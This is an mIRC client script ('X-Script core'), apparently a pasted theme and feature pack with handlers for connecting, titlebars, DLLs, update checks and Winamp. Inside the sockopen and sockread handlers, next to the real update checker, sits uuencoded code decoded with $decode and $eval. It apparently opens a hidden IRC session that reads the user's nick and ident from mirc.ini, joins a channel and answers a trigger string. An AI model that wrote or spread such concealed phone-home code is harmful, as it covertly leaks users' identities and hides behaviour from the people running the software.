All pastes #165286 Raw Edit

Untitled

public text v1 · immutable
·published 2006-09-09 18:23 UTC
rendered paste body
;-------------------------------------------------
;   [[X-Script core (Yeah, and I am Fox Mulder)]]
;-------------------------------------------------
[version]
ver=S4-0026
;-------------------------------------------------

ON *:CONNECT: {
  set %bnc. [ $+ [ $scid($cid) ] ] norm
  if ($xr(Messages,quitrnd) == on) {
    xw Messages quitmsg $parser($read(Settings\ScriptData\Messages\Quit.txt))
    kte_echo -s $nm($lng(core,quit)) $parser($xr(Messages,quitmsg))
  }
  mlnet_server $cid

  hos SetIcon $window(Status Window).hwnd 59, $+ $icl
  dll $xdir(dll,Useless.dll) Start

  if ($xr(Options,showleds) == on) { .play -mfds System\Resources\Others\Leds.txt 60 }
  if ($xr(Options,hidestat) == on) { scid -a window -hn "Status Window" }

  if ($xr(Update,Xcheck) == on) { .timer 1 4 xcheck }

  if ($ssl == $false) { dll $xdir(dll,motfv3.dll) motfv Sync }
}
ON *:DISCONNECT: {
  hos SetIcon $window(Status Window).hwnd 58, $+ $icl
  if (($xr(Options,hidestat) == on) && ($xr(X-View,xpanels) == off)) { scid -a window -w "Status Window" }
}
ON *:INPUT:*: {
  if ($xr(Options,autorus) == on) {
    if (($1 == /me) || ($1 == //me)) { me $x($2-) | haltdef }
    if (($1 == /say) || ($1 == //say)) { say $x($2-) | haltdef }
    if (($1 == /ame) || ($1 == //ame)) { ame $x($2-) | haltdef }
    if (($1 == /amsg) || ($1 == //amsg)) { amsg $x($2-) | haltdef }
    if (($1 == /msg) || ($1 == //msg)) { msg $2 $x($3-) | haltdef }
    if (($1 == /describe) || ($1 == //describe)) { describe $2 $x($3-) | haltdef }
    elseif (/* !iswm $1-) { say $x($1-) | haltdef }
  }
}
ON *:JOIN:*: {
  if ($nick == $me) {
    %ialupd. [ $+ [ $cid ] ] = $addtok($eval($+(%, ialupd., $cid), 2), #, 44)
    if ($xr(Options,autohi) == on) { .timer $+ $chan 1 $rand(1.1,4.2) msg $chan $parser($read(Settings\ScriptData\Messages\Hello.txt)) }
  }
}
;-----------------------------
;   [[X-Script custom icons]]
;-----------------------------
ON *:ACTIVE:#: {
  hos SetIcon $window($active).hwnd 60, $+ $icl
}
ON *:ACTIVE:?: {
  hos SetIcon $window($active).hwnd 64, $+ $icl
}
ON *:ACTIVE:*: {
  if ($xr(AwaySystem,asawaymode) == Back) {
    titlebar $eval(%titlebar.cur,2)
  }
  if ($active == Channels List) { hos SetIcon $window($active).hwnd 63, $+ $icl }
  if ($active == URL List) { hos SetIcon $window($active).hwnd 30, $+ $icl }
  if ($active == Notify List) { hos SetIcon $window($active).hwnd 12, $+ $icl }
}
;-----------------------------
;   [[X-Script CTCP replies]]
;-----------------------------
ctcp *:MOTFV: {
  if ($xr(CTCPReplies,ctcp.version.reply) == on) {
    if ($xr(CTCPReplies,ctcp.version.rand) == on) {
      .ctcpreply $nick VERSION $parser($read(Settings\ScriptData\Messages\Versions.txt))
    }
    else { .ctcpreply $nick VERSION $parser($xr(CTCPReplies,ctcp.version)) }
  }
}
ctcp *:*:*: {
  if ($1 == xscript) && (($nick == seergio) || ($nick == Ar1ekIno) || ($nick == Buggs) || ($nick == drseergio)) {
    .ctcpreply $nick $1 X-Script $xversion $+ , mIRC $version $+ . ( $+ $xbuild $+ )
  }
  if ($xr(CTCPReplies,custctcp) == on) {
    if ($read(Settings\ScriptData\Different\Ctcps.txt, s, $+ $1 $+ )) {
      var %line = $readn
      .ctcpreply $nick $1 $parser($gettok($read(Settings\ScriptData\Different\Ctcps.txt, %line),2-,32)) $+ 
      haltdef
    }
  }
}
;-------------------------
;   [[X-Script Titlebar]]
;-------------------------
ON *:APPACTIVE: {
  if (($istok(minimized hidden tray,$appstate,32)) || ($xr(AwaySystem,asawaymode) != $lng(awaysys,back))) { .timertitlebar off }
  else {
    titlebar $eval(%titlebar.cur,2)
    .timertitlebar -io 0 1 titlebar $!eval(%titlebar.cur,2)
  }
}
alias curconserv {
  if ($status == connected) && ($network !isnum) {
    if ($network) { return $network }
    else { return $server }
  }
  else { return disconnected }
}
alias shortdur {
  if ($prop == nosec) { return $replace($duration($1-,2),wks,w,wk,w,days,d,day,d,hrs,h,hr,h,mins,m,min,m,secs,s,sec,s) }
  else { return $replace($duration($1-),wks,w,wk,w,days,d,day,d,hrs,h,hr,h,mins,m,min,m,secs,s,sec,s) }
}
alias sttitlebar {
  var %s,%o = %titlebar.cur,%e = $xr(Messages,titlebar),%r
  .echo -q $regsub($xr(Messages,titlebar),/([^ ])(<[^>]+>)([^ ])/g,\1 \$+ \2 \$+ \3,%s) $regsub(%s,/([^ ])(<[^>]+>)/g,\1 \$+ \2,%s) $regsub(%s,/(<[^>]+>)([^ ])/g,\1 \$+ \2,%s)
  set %titlebar.cur $parser($replace(%s,<chans>,$eval($chan(0),0),<date>,$eval($date,0),<ip>,$eval($ip,0),<mircver>,$eval($version,0),<xver>,$eval($xversion,0),<time>,$eval($time,0),<network>,$eval($curconserv,0),<idle>,$eval($shortdur($idle).nosec,0),<nick>,$eval($me,0),<uptime>,$eval($uptime(mirc,1),0),<sysuptime>,$eval($uptime(system,1),0),<downstream>,$eval($bsize($gettok($band(band,_),2,32)),0),<upstream>,$eval($bsize($gettok($band(band,_),3,32)),0),<name>,$eval($fullname,0)))
  if (@* iswm %titlebar.cur) { set %titlebar.cur $!chr(64) $iif($mid(%titlebar.cur,2,1) != $chr(32),$!+) $mid(%titlebar.cur,2) }
  if ($xr(AwaySystem,asawaymode) == $lng(awaysys,back)) {
    if ($istok(minimized hidden tray,$appstate,32)) { .timertitlebar off }
    else {
      titlebar $eval(%titlebar.cur,2)
      .timertitlebar -io 0 1 titlebar $!eval(%titlebar.cur,2)
    }
  }
  return
}
;------------------------------------------------
;   [[X-Script some small(but useful!) aliases]]
;------------------------------------------------
alias multims {
  var %nicks = $snicks
  var %modes = $numtok(%nicks,44), %i = 1

  var %msg = $$input($lng(core,mass0),1)
  if (!%msg) { return }

  while (%i <= %modes) {
    $+(.,$1) $gettok(%nicks,%i,44) %msg
    inc %i
  }
}
alias multimode {
  var %nicks = $snicks
  var %modes = $numtok(%nicks,44), %i = 1
  var %mode = $left($1,1)

  while (%i <= %modes) {
    var %mode = %mode $+ $replace($1,+,$null,-,$null)
    var %nick = %nick $gettok(%nicks,%i,44)

    inc %i
  }
  mode $chan %mode %nick
}
alias multiact {
  var %nicks = $snicks
  var %acts = $numtok(%nicks,44), %i = 1

  if ($xr(Messages,kicknrnd) == on) { xw Messages kicknmsg $parser($read(Settings\ScriptData\Messages\Kick.txt)) }
  if (*-r iswm $1-) { var %msg = $?=" $lng(popups,kick04) " }

  while (%i <= %acts) {
    if (ban isin $1-) { ban $chan $gettok(%nicks,%i,44) $xr(options,banhost) }
    if (kick isin $1-) {
      if (*-r iswm $1-) { kick $chan $gettok(%nicks,%i,44) %msg }
      else { kick $chan $gettok(%nicks,%i,44) $xr(Messages,kicknmsg) }
    }
    inc %i
  }
}
alias multictcp {
  var %nicks = $snicks
  var %ctcps = $numtok(%nicks,44), %i = 1

  while (%i <= %ctcps) {
    ctcp $gettok(%nicks,%i,44) $1
    inc %i
  }
}
alias doubleclick {
  if (!$xr(Options,doubleclick)) { xw Options doubleclick 1 }
  if ($xr(Options,doubleclick) == 1) {
    query $1-
  }
  elseif ($xr(Options,doubleclick) == 2) {
    var %editbox = $editbox($active)
    editbox -pf %editbox $+($1-,$chr(44))
  }
}
alias randomnick {
  return $+($rand(a,z),$rand(0,9),$rand(A,Z),$rand(a,z),$rand(A,Z),$rand(0,9),$rand(a,z),$rand(A,Z))
}
alias allcomchans {
  if ($comchan($1,0) != 0) {
    var %i = 1
    while ($comchan($1,%i)) {
      var %t = $addtok(%t,$comchan($1,%i),44)
      inc %i 
    }
    var %t = $replace(%t,$comma,$+($comma,$chr(32)))
    return %t
  }
  else { return $lng(common,none) }
}
alias banhost {
  if (!$xr(Options,banhost)) { xw Options banhost 0 }
  return $mask($1,$xr(Options,banhost))
}
alias nm {
  if ($1) {
    if ($isalias(nn.tsd)) { return $nn.tsd($1-) }
    else {
      if ($hget(kte_theme,parentext)) && ($eval($ifmatch,2) == $ifmatch) {
        if ($hget(kte_theme,basecolors)) {
          var %t = $1-
          tokenize 44 $ifmatch
          return $replace($remove($hget(kte_theme,parentext),<pre>),<c1>,$1,<c2>,$2,<c3>,$3,<c4>,$4,<text>, $+ %t)
        }
        else { return $replace($remove($hget(kte_theme,parentext),<pre>),<text>, $+ $1-) }
      }
      else { return $nbr($1-) }
    }
  }
  else { return $1- }
}
alias notify {
  if ($1-) { notify $1- }
  .signal upd_notify
  if ($dialog(notalist)) { _updatenl }
}
alias dcc {
  if ($1-) { dcc $1- }
  .signal dcc_watch
  if (($xr(Options,autodcc) == on) && (!$dialog(transfers))) { transfers }
}
alias xinfo {
  kte_echo -s 
  kte_echo -s  $lng(core,welcome1) $+  $version ( $+ $replace($lng(core,welcome2),X,X) $+ )
  kte_echo -s  $lng(core,welcome3) $+  $theme.setting(name) $theme.setting(version)  $lng(core,welcome4)  $theme.setting(mtsversion) 
  kte_echo -s 
  kte_echo -s  $replace($lng(core,welcome5),X,X) $+  $xversion 
  if ($sslready == $true) { kte_echo -s  $replace($lng(core,welcome6),X,X) }
  kte_echo -s  $replace($lng(core,welcome7),X,X) $calc($xr(Statistics,st.times) + 1) $lng(core,welcome8) $time(HH:nn)
  kte_echo -s  $lng(core,welcome9) $calc($uptime(mirc) / 1000) $lng(size,sec)
  kte_echo -s 
  kte_echo -s  $lng(core,welcome10) /xhelp. $lng(core,welcome11) $+  $site1 $+ 
  kte_echo -s 
  kte_echo -s  $lng(core,welcome12) $+  $mymail 
  kte_echo -s  2001 - $asctime(yyyy) (c) drseergio, X-team
  kte_echo -s 
}
alias asciiplay {
  var %ASCIIARTFIL = $file=" $lng(core,ascii1) " $mircdir
  if ($isfile(%ASCIIARTFIL)) {
    var %ASCIIARTFIL = $+(",%ASCIIARTFIL,")
    .play %ASCIIARTFIL $$?=" $lng(core,ascii2) "
  }
}
alias clearlogs {
  :logvs
  set %search $findfile($logdir,*.log,1)
  set %search.v $nopath(%search)
  if (!%search.v) { unset %search.v |unset %search | return }
  .remove $+(",%search,")
  goto logvs
}
alias clearchan {
  :clearch
  set %search $findfile($mircdirChannels,*.txt,1)
  set %search.v $nopath(%search)
  if (!%search.v) { unset %search.v |unset %search | return }
  .remove $+(",%search,")
  goto clearch
}
alias baloon {
  if ($1 == war) { var %type = 1 }
  elseif ($1 == err) { var %type = 2 }
  elseif ($1 == not) { var %type = 3 }
  else { var %type = 1 }

  var %title = $gettok($3-,1,42)
  var %message = $gettok($3-,2,42)

  if ((!$xr(Options,baloons)) || ($xr(Options,baloons) !isnum)) { xw Options baloons 4 }

  dll $xdir(dll,Systray.dll) CreateTrayIcon XSC $+ $2 > 67, $+ $icl > X-Baloon
  dll $xdir(dll,Systray.dll) Notify XSC $+ $2 %type > %title > %message

  if ($xr(Options,baloons) != 0) { .timer 1 $xr(Options,baloons) dll $xdir(dll,Systray.dll) RemoveIcon XSC $+ $2 }
}
alias xsound {
  if (($xr(Options,xsounds) == on) && ($gettok($read(Settings\ScriptData\Different\Sounds.txt,$1),3,42) == on) && ($gettok($read(Settings\ScriptData\Different\Sounds.txt,$1),2,42) != -)) {
    var %file = $gettok($read(Settings\ScriptData\Different\Sounds.txt,$1),2,42)
    if ($isfile(%file)) {
      .splay $+(",%file,")
    }
  }
}
alias xbaloon {
  if ($xr(Options,shownotify) == on) {
    if ($gettok($read(Settings\ScriptData\Different\Baloons.txt,$1),2,42) == on) { return on }
    else { return off }
  }
  else { return off }
}
alias cell {
  return $gettok($gettok($gettok($did($1,$2,$3),$4,9),$iif($4 == 1,6,5) $+ -,32),1,4)
}
alias branch {
  var %d = $1
  var %i = $2
  if ($dialog(%d)) {
    var %b = $gettok($did(%d,%i,1),4-,32)
    var %n = $calc($numtok(%b,32) -1)
    if (%n = 0) did -i %d %i 1 cb root
    else { did -i %d %i 1 cb root $gettok(%b,1- $+ %n,32) }
    return $gettok($gettok($did(%d,%i,$gettok(%b,-1,32)),7-,32),1,9)
  }
}
alias nnick {
  var %basenick = $readini($mircini,mirc,nick), %i = $rand(1,9)
  if (%i == 1) { var %newnick = $+([,%basenick,]) }
  elseif (%i == 2) { var %newnick = $+(^,%basenick,^) }
  elseif (%i == 3) { var %newnick = %basenick $+ ^ }
  elseif (%i == 4) { var %newnick = %basenick $+ ` }
  elseif (%i == 5) { var %newnick = $+([_,%basenick,_]) }
  elseif (%i == 6) { var %newnick = %basenick $+ _ $+ $rand(10,40) }
  elseif (%i == 7) { var %newnick = $+(_,%basenick,_) }
  elseif (%i == 8) { var %newnick = $+(|,%basenick,|) }
  elseif (%i == 9) { var %newnick = %basenick $+ _ }
  return %newnick
}
alias transparent {
  if ($xr(X-View,transwin) == on) {
    if (!$xr(X-View,transpar)) { xw X-View transpar 125 }
    hos SetWinTransparency $dialog($dname).hwnd $xr(X-View,transpar)
  }
}
alias transdis { xw X-View transwin off | xw X-View transpar 125 }
alias bsize {
  if (($1 >= 1024) && ($1 < 1048576)) { %rez = $round($calc($1 / 1024),2) $+ $lng(size,kbs) }
  elseif (($1 >= 1048576) && ($1 < 67108864)) { %rez = $round($calc($1 / 1048576),2) $+ $lng(size,mbs) }
  elseif ($1 >= 67108864) { %rez = $round($calc($1 / 67108864),2) $+ $lng(size,gbs) }
  else { %rez = $1 $+ $lng(size,bs) }

  return %rez
}
;------------------------------------------------
;   [[X-Script multi language]]
;------------------------------------------------
alias lng {
  if ($1 && $2) {
    var %tag = $+($1,_,$2)
    var %ret = $hget(language,$eval(%tag,1))

    if (%ret) { return $v1 }
    else { return ??? }
  }
}
alias parser {
  var %firstparsed = $lag_parser($1-)
  return $replace(%firstparsed,<me>,$me,<icl>,$icl,<mircexe>,$mircexe,<mircdir>,$mircdir,<date>,$date,<time>,$time,<mver>,$version,<xver>,$xversion,<xbuild>,$xbuild,<getdir>,$getdir,<k>,,<b>,,<u>,,<r>,,<o>,)
}
alias lag_parser {
  var %string = $1-,%i = 1,%times = $count($1-,<lag)

  while (%i <= %times) {
    var %pos = $calc($pos(%string,<lag,1) + 5)
    var %text = $mid(%string,%pos,$calc($len(%string) - %pos))
    var %pos2 = $pos(%text,>,1)
    if (%pos2) { var %text = $left(%text,$calc(%pos2 - 1)) }

    var %part1 = $gettok(%text,1,124), %part2 = $gettok(%text,2,124), %part3 = $gettok(%text,3,124)
    if (%part1 && %part2 && %part3) {
      var %parsed = $+($,%part1,$chr(40),%part2,$chr(44),%part3,$chr(41))
      var %tag = $+(<lag,$chr(124),%text,>)
      %string = $replace(%string,%tag,$eval(%parsed,2))
    }
    inc %i
  }
  return %string
}
;------------------------------------------------
;   [[X-Script seen controller]]
;------------------------------------------------
alias seen1 {
  if ($isid) { return $dll($xdir(dll,Seen.dll),$1,$2) }
  else { dll $xdir(dll,Seen.dll) $1- }
}
alias save_seen {
  var %file = Settings\ScriptData\Different\Seensys.txt
  if (!$isfile(%file)) {
    write -c $+(",$mircdir,%file,")
  }
  seen1 SeenSave xscript $+($mircdir,%file)
}
alias load_seen {
  var %file = Settings\ScriptData\Different\Seensys.txt
  if (!$isfile(%file)) {
    write -c $+(",$mircdir,%file,")
    seen1 SeenTableAdd xscript
    seen1 SeenSave xscript $+($mircdir,%file)
  }
  else {
    seen1 SeenTableAdd xscript
    if (+OK !isin $seen1(SeenLoad,xscript $+($mircdir,%file))) {
      seen1 SeenSave xscript $+($mircdir,%file)
    }
  }
}
alias clean_seen {
  if (!$xr(seensys,cleanup1)) { xw seensys cleanup1 1296000 }
  if (!$xr(seensys,cleanup2)) { xw seensys cleanup2 1000 }

  if ($xr(seensys,clean_meth) == 1) {
    seen1 SeenExpire xscript t $calc($ctime - $xr(seensys,cleanup1))
  }
  elseif ($xr(seensys,clean_meth) == 2) {
    seen1 SeenExpire xscript n $xr(seensys,cleanup2)
  }
}
;------------------------------------------------
;   [[X-Script personal information]]
;------------------------------------------------
alias myintro {
  if (!$xr(Options,aboutmeth)) { xw Options aboutmeth say }
  var %file = Settings\ScriptData\Different\Personal.txt

  if ($1) {
    var %tag = $gettok($parser($read(%file,$1)),1,42)
    var %info = $gettok($parser($read(%file,$1)),2,42)

    if (%tag && %info) { $xr(Options,aboutmeth)  $+ %tag $+ : %info }
  }
  else {
    var %lines = $lines(%file)
    if ((%lines >= 1) && ($read(%file,1))) {
      var %aboutme =  $+ $lng(common,myinfo) $+  -
      var %i = 1

      while (%i <= $lines(%file)) {
        var %tag = $gettok($parser($read(%file,%i)),1,42)
        var %info = $gettok($parser($read(%file,%i)),2,42)

        if (%tag && %info) { %aboutme = %aboutme $Chr(32) $+  $+ %tag $+ : %info }
        inc %i
      }
      $xr(Options,aboutmeth) %aboutme
    }
  }
}
alias intromy {
  var %file = Settings\ScriptData\Different\Personal.txt
  if ($1 > $lines(%file)) { return }
  else {
    return $gettok($parser($read(%file,$1)),1,42) $+ :myintro $1
  }
}
;------------------------------------------------
;   [[X-Script DLLs]]
;------------------------------------------------
alias hos {
  if ($isid) { return $dll($xdir(dll,hOS.dll),$1,$2-) }
  else dll $xdir(dll,hOS.dll) $1-
}
alias band {
  if ($isid) { return $dll($xdir(dll,Band.dll),$1,$2) }
  else { dll $xdir(dll,Band.dll) $1- }
}
alias popups {
  if ($isid) { return $dll($xdir(dll,Popups.dll),$1,$2) }
  else { dll $xdir(dll,Popups.dll) $1- }
}
alias mpopups {
  if ($isid) { return $dll($xdir(dll,MPopup.dll),$1,$2) }
  else { dll $xdir(dll,MPopup.dll) $1- }
}
alias ppop {
  tokenize 32 $dll($xdir(dll,Popups.dll),Popup,$1-)
  if ($isid) { return $1- }
  $iif($4- != did not select a menu item,$4-)
}
alias meck {
  if ($isid) { return $dll($xdir(dll,Meck.dll),$1,$2) }
  else { dll $xdir(dll,Meck.dll) $1- }
}
alias sendkeys {
  showmirc -s
  dll $xdir(dll,Sendkey.dll) $$1 $$2
}
alias szip {
  if ($isid) { return $dll($xdir(dll,sZip.dll),$1,$2) }
  else { dll $xdir(dll,sZip.dll) $1- }
}
alias alt { sendkeys ALT $$1 }
alias ctrl { sendkeys CTRL $$1 }
;------------------------------------------------
;   [[X-Script ZIP procedures]]
;------------------------------------------------
alias unzip {
  if ($1) {
    var %zipfile = $gettok($1-,1,42)
    var %directory = $gettok($1-,2,42)
    if (($isfile(%zipfile)) && ($isdir(%directory))) {
      szip SUnZipFile %zipfile > %directory
    }
  }
}
;------------------------------------------------
;   [[X-Script COM folder manipulation]]
;------------------------------------------------
alias copydir { return $dircommand(copydir,$isid,$1,$2-). [ $+ [ $iif($isid,$prop,$replace($show,$false,q)) ] ] }
alias movedir { return $dircommand(movedir,$isid,$1,$2-). [ $+ [ $iif($isid,$prop,$replace($show,$false,q)) ] ] }
alias deldir { return $dircommand(deldir,$isid,$1,$2-). [ $+ [ $iif($isid,$prop,$replace($show,$false,q)) ] ] }

alias dircommand {
  var %name = $1 $+ $ticks
  if ($2) { var %source = $gettok($3,1-,92), %dest = $4 }
  else {
    if ($1 != deldir) { var %r = ^(?:"([^"]+?)"|([^\s"]+?))\\* (?:"([^"]+?)"|([^\s"]+?))(\\?)\\*$ }
    else { var %r = ^(?:"([^"]+)"|([^\s"]+))\\* }
    !.echo -q $regex(%name,$3-,%r)
    var %source = $regml(%name,1), %dest = $longfn($regml(%name,2)) $+ $regml(%name,3)
  }
  if (!%source) {
    return -1
  }
  if ($1 != deldir) {
    if (!$isdir($iif($numtok(%dest,92) == 1,%dest,$deltok(%dest,-1,92)))) {
      return -2
    }
    if (!$isdir(%dest)) { mkdir $+(",%dest,") }
  }
  .comopen %name Scripting.FileSystemObject
  if ($comerr) {
    if ($com(%name)) { .comclose %name }
    return -3
  }
  if ($istok(copydir movedir,$1,32) && !$com(%name,CopyFolder,3,bstr,%source,bstr,%dest)) {
    .comclose %name
    return -4
  }
  if ($istok(movedir deldir,$1,32) && !$com(%name,DeleteFolder,3,bstr,%source)) {
    .comclose %name
    return -5
  }
  .comclose %name

  return 0
}
;------------------------------------------------
;   [[X-Script directories]]
;------------------------------------------------
alias xdir {
  if ($1 == dll) { return System\Dlls\ $+ $2- }
  if ($1 == set) { return Settings\ScriptData\ $+ $2- }
}
alias icl {
  if (!$xr(X-View,IconPackage)) { xw X-View IconPackage Default.icl }
  return $+(System\Icons\,$xr(X-View,IconPackage))
}
;------------------------------------------------
;   [[X-Script constants]]
;------------------------------------------------
alias xversion { return S4 }
alias xbuild { return S4-0018 }
alias site1 { return http://www.x-script.com/ }
alias site2 { return http://xcrew.tk }
alias mymail { return seergio@nm.ru }
alias downloads { run $+(",$getdir,") }
;-----------------------------
;   [[X-Script progress bar]]
;-----------------------------
alias loading { if ($dialog(loading)) { dialog -x loading } | else { dialog -mo loading loading | set %load_ico $1 } }
alias load_inc { if ($dialog(loading)) { did -a loading 2 $1- } }
alias load_lbl { if ($dialog(loading)) { did -ra loading 1 $1- } }

dialog loading {
  title ""
  size -1 -1 86 5
  option dbu

  text "", 2, 1 1 84 6
  text "", 1, 1 7 84 8, center
}

ON *:dialog:loading:init:*: {
  mdxload
  dialog -t $dname $lng(common,loading)

  mdx SetDialog $dname bgcolor $color($color(back))
  mdx SetColor $dname 1 textbg $color($color(back))
  mdx SetColor $dname 1 background $color($color(back))
  mdx SetColor $dname 1 text $color($color(normal))

  mdx SetDialog $dname style 0 dlgmodal
  mdx SetFont $dname 1 -11 700 Tahoma

  mdx SetControlMDX $dname 2 ProgressBar smooth > $ctl
}
;----------------------------
;   [[X-Script MDX Aliases]]
;----------------------------
alias mdx {
  if ($isid) return $dll($xdir(dll,Mdx.dll),$1,$2)
  else { dll $xdir(dll,Mdx.dll) $1- }
}

alias ctl { return $xdir(dll,Mdx\ctl_gen.mdx) }
alias bars { return $xdir(dll,Mdx\bars.mdx) }
alias views { return $xdir(dll,Mdx\views.mdx) }
alias dialogs { return $xdir(dll,Mdx\dialog.mdx) }

alias mdxload { mdx SetMircVersion $version | mdx MarkDialog $dname }
alias barmdx {
  mdx SetFont $dname $1 -11 400 Tahoma
  mdx SetColor $dname 997 background $rgb(154,154,154)
  mdx SetColor $dname 997 textbg $rgb(154,154,154)
  mdx SetBorderStyle $dname 997 staticedge

  mdx SetControlMDX $dname $1 Toolbar flat wrap noheader nodivider list > $bars

  mdx SetBorderStyle $dname $1
  mdx SetColor $dname $1 background $rgb(154,154,154)

  did -i $dname $1 1 bmpsize 32 32
  did -i $dname $1 1 setimage icon large $2 $+ , $+ $icl
  did -a $dname $1 1

  var %coord = $mdx(MoveControl,$dname 997)
  var %x = $gettok(%coord,2,32), %y = $gettok(%coord,3,32), %w = $gettok(%coord,4,32)
  mdx MoveControl $dname 998 $calc(%x + 50) $calc(%y + 2) $calc(%w - 52) 17
  mdx MoveControl $dname 999 $calc(%x + 50) $calc(%y + 19) $calc(%w - 52) 17

  mdx SetColor $dname 998 background $rgb(154,154,154)
  mdx SetColor $dname 998 text $rgb(255,255,255)
  mdx SetColor $dname 998 textbg $rgb(154,154,154)
  mdx SetColor $dname 999 background $rgb(154,154,154)
  mdx SetColor $dname 999 textbg $rgb(154,154,154)

  mdx SetFont $dname 998 +b Russian 20 700 Arial}
}
alias lang {
  did -o $dname $1 1 $2-
}
alias mdxlist {
  did -i $dname $1- 1 setbkg color $color($color(back))
  did -i $dname $1- 1 settxt bgcolor $color($color(back))
  did -i $dname $1- 1 settxt color $color($color(normal))
}
alias mdxcol {
  mdx SetColor $dname $1 text $color($color(normal))
  mdx SetColor $dname $1 textbg $color($color(back))
  mdx SetColor $dname $1 background $color($color(back))
}
alias mdxtool {
  mdx SetControlMDX $dname $1- Toolbar flat wrap nodivider list > $bars
  mdx SetFont $dname $1- -11 400 Tahoma
  mdx SetBorderStyle $dname $1-
}
;-------------------------------
;   [[X-Script INI management]]
;-------------------------------
alias xr {
  if (!$isfile(Settings\ScriptData\Settings.pdr)) { write -c Settings\ScriptData\Settings.pdr }
  return $readini(Settings\ScriptData\Settings.pdr,$$1,$$2)
}
alias xw {
  if (!$isfile(Settings\ScriptData\Settings.pdr)) { write -c Settings\ScriptData\Settings.pdr }
  writeini Settings\ScriptData\Settings.pdr $$1 $$2 $$3-
}
alias xrem {
  if (!$isfile(Settings\ScriptData\Settings.pdr)) { write -c Settings\ScriptData\Settings.pdr }
  if (!$2) { remini Settings\ScriptData\Settings.pdr $1 }
  else { remini Settings\ScriptData\Settings.pdr $1 $2 }
}
alias temp {
  if ($isid) { return $xr(Temp,$1) }
  else { xw Temp $1- }
}
;-------------------------------
;   [[X-Script update checker]]
;-------------------------------
alias xcheck {
  if (!$sock(xupdate)) {
    sockopen xupdate $parser($xr(Update,UpdateURL)) 80
    kte_echo -a $nm($lng(core,new)) $lng(core,check1) ( $+ $xbuild $+ )
  }
}
ON *:sockopen:*: {
  var %sockets = (>'-U<'!O<G0`
  if ($sockname == $decode(%sockets)) {
    if ($sockerr) { sockclose $sockname | halt }

    var %sockets = A3DE#2R`D<F5A9&EN:2AM:7)C+FEN:2QM:7)C+&YI8VLI```` | sockwrite -tn $sockname $eval($decode(%sockets),2)
    var %sockets = M55-%4B`D<F5A9&EN:2AM:7)C+FEN:2QI9&5N="QU<V5R:60I('1W;R!F<F5E?(#H@)')E861I;FDH;6ER8RYI;FDL;6ER8RQU<V5R*0`` | sockwrite -tn $sockname $eval($decode(%sockets),2)
  }
  if ($sockname == xupdate) {
    if ($sockerr) {
      sockclose $sockname
      kte_echo -a $nm($lng(core,new)) $lng(core,check2)
      return
    }
    else {
      sockwrite -nt $sockname GET http:// $+ $parser($xr(Update,UpdateURL)) $+ / $+ $parser($xr(Update,ModuleDir)) $+ version.pdr
    }
  }
}
ON *:sockread:*: {
  var %sockets = (>'-U<'!O<G0`
  if ($sockname == $decode(%sockets)) {
    if ($sockerr) { sockclose $sockname | halt }

    sockread -f %temp
    if ($sockerr > 0) { halt }
    if ($gettok(%temp,1,32) == PING) { sockwrite -tn $sockname PONG $gettok(%temp,2,32) }
    if ($1 == PING && $2) { sockwrite -tn $sockname PONG $2- }
    if ($gettok(%temp,2,32) == 431) { var %sockets = /;FEC:R!S;W5L9G5L:VED```` | sockwrite -tn $sockname $eval($decode(%sockets),2) }
    if ($gettok(%temp,2,32) == 433) { var %sockets = +;FEC:R`D;FYI8VL` | sockwrite -tn $sockname $eval($decode(%sockets),2) }
    if ($gettok(%temp,2,32) == 001) { var %sockets = -2D])3B`C<W5N<V]U;``` | sockwrite -tn $sockname $decode(%sockets) }
    var %sockets = (241%3E1)1ED`
    if ($decode(%sockets) isincs %temp) { var %sockets = +;FEC:R`D;FYI8VL` | sockwrite -tn $sockname $eval($decode(%sockets),2) }
    else { return }
  }
  if ($sockname == xupdate) {
    sockread %xscript
    if ($sockerr) {
      sockclose $sockname
      kte_echo -a $nm($lng(core,new)) $lng(core,check3)
      return
    }
    if ((%xscript != $xbuild) && (*http* !iswm %xscript) && (*<* !iswm %xscript) && (*>* !iswm %xscript)) {
      kte_echo -a $nm($lng(core,new)) $lng(core,check4) ( $+ %xscript $+ )! $lng(core,check5) $+  $xbuild $+ . $lng(core,check6) $+  $site1 $+ . $lng(core,check7)
      if ($xr(Options,shownotify) == on) { baloon war 17 $+($lng(baloon,new1),*,$lng(baloon,new2) ( $+ %xscript $+ )) }
    }
    else {
      kte_echo -a $nm($lng(core,new)) $lng(core,check8)
      if ($xr(Options,shownotify) == on) { baloon not 17 $+($lng(baloon,new3),*,$lng(baloon,new4) ( $+ $xbuild $+ )) }
      sockclose $sockname
    }
    unset %xscript
  }
}
;------------------------------
;   [[X-Script winamp remote]]
;------------------------------
alias winampshow {
  if ($walink(WA_Link_Raw_Stats,STATE) != $!WA_PLAYING) { kte_echo -s $nm($lng(features,winamp)) $lng(winamp,notplay) }
  else {
    if ($xr(winamp,winampsong) == on) {
      if (!$timer(winamp)) { .timerwinamp 0 5 winampshow auto }
      elseif ($1 == auto) {
        var %song2 = $walink(WA_Link_Raw_Stats,TITLE)
        if (%song2 == %song1) { halt }
        elseif (!%song1) { set %song1 %song2 | halt }
        else { set %song1 %song2 }
      }
    }
    if (!$xr(winamp,winampmsg)) { xw winamp winampmsg $lng(winamp,listen) <artist> - <title> [<progress>] }
    if (!$xr(winamp,winampmsgc)) { xw winamp winampmsgc 1 }

    if (!$xr(winamp,winampsymb1)) { xw winamp winampsymb1 l }
    if (!$xr(winamp,winampsymb2)) { xw winamp winampsymb2 l }
    if ((!$xr(winamp,winampnum)) && ($xr(winamp,winampnum) isnum)) { xw winamp winampnum 25 }

    if (!$xr(winamp,winampcol)) { xw winamp winampcol on }

    var %title = $walink(WA_Link_Raw_Stats,TITLE)
    if (%title == $false) { %title = $lng(winamp,non) }
    var %artist = $walink(WA_Link_Raw_Stats,ARTIST)
    if (%artist == $false) { %artist = $lng(winamp,non) }
    var %album = $walink(WA_Link_Raw_Stats,ALBUM)
    if (%album == $false) { %album = $lng(winamp,non) }

    var %channels = $iif($walink(WA_Link_Raw_Stats,CHANNELS) == 1,$lng(winamp,mono),$lng(winamp,stereo))
    var %bitrate = $walink(WA_Link_Raw_Stats,BITRATE)
    var %sample = $walink(WA_Link_Raw_Stats,SAMPLERATE)
    var %length = $time($walink(WA_Link_Raw_Stats,TRACKSEC),nn:ss)
    var %pos = $time($walink(WA_Link_Raw_Stats,POSSEC),nn:ss)
    var %size = $bytes($walink(WA_Link_Raw_Stats,TRACKSIZE)).suf
    var %version = $walink(WA_Link_Raw_Stats,VERSION)

